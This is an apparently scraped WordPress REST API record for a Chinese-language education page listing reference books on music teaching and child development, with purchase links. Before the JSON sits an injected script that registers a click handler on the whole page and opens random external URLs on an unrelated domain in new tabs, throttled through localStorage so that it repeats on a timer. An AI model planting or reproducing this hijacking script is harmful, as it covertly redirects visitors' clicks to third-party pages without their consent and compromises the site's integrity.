<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":907,"date":"2014-10-11T11:42:32","date_gmt":"2014-10-11T03:42:32","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo4m4\/?page_id=907"},"modified":"2017-03-23T16:43:58","modified_gmt":"2017-03-23T08:43:58","slug":"%e7%ab%a0%e7%af%804-1","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo4m4\/?page_id=907","title":{"rendered":"\u53c3\u8003\u66f8\u7c4d"},"content":{"rendered":"<ul>\n<li>\n<h6>\u9054\u723e\u514b\u7f85\u8332\u3001\u5967\u798f\u3001\u67ef\u5927\u5b9c\u4e09\u5927\u6559\u5b78\u6cd5\u4e4b\u6bd4\u8f03\uff08\u6d0b\u9716\u6587\u5316\uff09<\/h6>\n<h6>\u8cfc\u8cb7\u8cc7\u8a0a <a href=\"http:\/\/173.254.11.30\/goods.php?id=15702\" target=\"_blank\">http:\/\/173.254.11.30\/goods.php?id=15702<\/a><\/h6>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<h6>\u7576\u4ee3\u56db\u5927\u97f3\u6a02\u6559\u5b78\u6cd5\u4e4b\u6bd4\u8f03\u8207\u904b\u7528-\u912d\u65b9\u9756\uff08\u5fa9\u6587\u5716\u66f8\u51fa\u7248\u793e\uff09<\/h6>\n<h6>\u7dda\u4e0a\u8a66\u95b1\u7248\u00a0<a href=\"http:\/\/www.airitibooks.com\/detail.aspx?PublicationID=P20110428241\" target=\"_blank\">http:\/\/www.airitibooks.com\/detail.aspx?PublicationID=P20110428241<\/a><\/h6>\n<h6>\u8cfc\u8cb7\u8cc7\u8a0a\u00a0<a href=\"http:\/\/m.sanmin.com.tw\/product\/index\/005287468\" target=\"_blank\">http:\/\/m.sanmin.com.tw\/product\/index\/005287468<\/a><\/h6>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-1499\" src=\"http:\/\/si.secda.info\/peekaboo4m1\/wp-content\/uploads\/2014\/10\/comparing3.jpg\" alt=\"comparing3\" width=\"276\" height=\"391\" \/>\u00a0\u00a0<img loading=\"lazy\" class=\"alignnone wp-image-1500\" src=\"http:\/\/si.secda.info\/peekaboo4m1\/wp-content\/uploads\/2014\/10\/957555606.png\" alt=\"957555606\" width=\"275\" height=\"389\" \/><\/p>\n<ul>\n<li>\n<h6>\u4f60\u7684 4 \u6b72\u5b69\u5b50\uff08\u4e0a\u8abc\u51fa\u7248\uff09<\/h6>\n<h6>\u8cfc\u8cb7\u8cc7\u8a0a\u00a0<a href=\"https:\/\/store.kimy.com.tw\/Category\/ProductDetail.aspx?no=H000000000192\" target=\"_blank\">https:\/\/store.kimy.com.tw\/Category\/ProductDetail.aspx?no=H000000000192<\/a><\/h6>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<h6>\u4f60\u7684\u00a05\u00a0\u6b72\u5b69\u5b50\uff08\u4e0a\u8abc\u51fa\u7248\uff09<\/h6>\n<h6>\u8cfc\u8cb7\u8cc7\u8a0a\u00a0<a href=\"https:\/\/store.kimy.com.tw\/Category\/ProductDetail.aspx?no=H000000000193\" target=\"_blank\">https:\/\/store.kimy.com.tw\/Category\/ProductDetail.aspx?no=H000000000193<\/a><\/h6>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-1497\" src=\"http:\/\/si.secda.info\/peekaboo4m1\/wp-content\/uploads\/2014\/10\/4getImage.jpg\" alt=\"4getImage\" width=\"289\" height=\"289\" \/>\u00a0\u00a0<img loading=\"lazy\" class=\"alignnone wp-image-1498\" src=\"http:\/\/si.secda.info\/peekaboo4m1\/wp-content\/uploads\/2014\/10\/5getImage-1.jpg\" alt=\"5getImage-1\" width=\"272\" height=\"272\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9054\u723e\u514b\u7f85\u8332\u3001\u5967\u798f\u3001\u67ef\u5927\u5b9c\u4e09\u5927\u6559\u5b78\u6cd5\u4e4b\u6bd4\u8f03\uff08\u6d0b\u9716\u6587\u5316\uff09 \u8cfc\u8cb7\u8cc7\u8a0a http:\/\/1<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":905,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/907"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=907"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/907\/revisions"}],"predecessor-version":[{"id":1442,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/907\/revisions\/1442"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=\/wp\/v2\/pages\/905"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo4m4\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=907"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}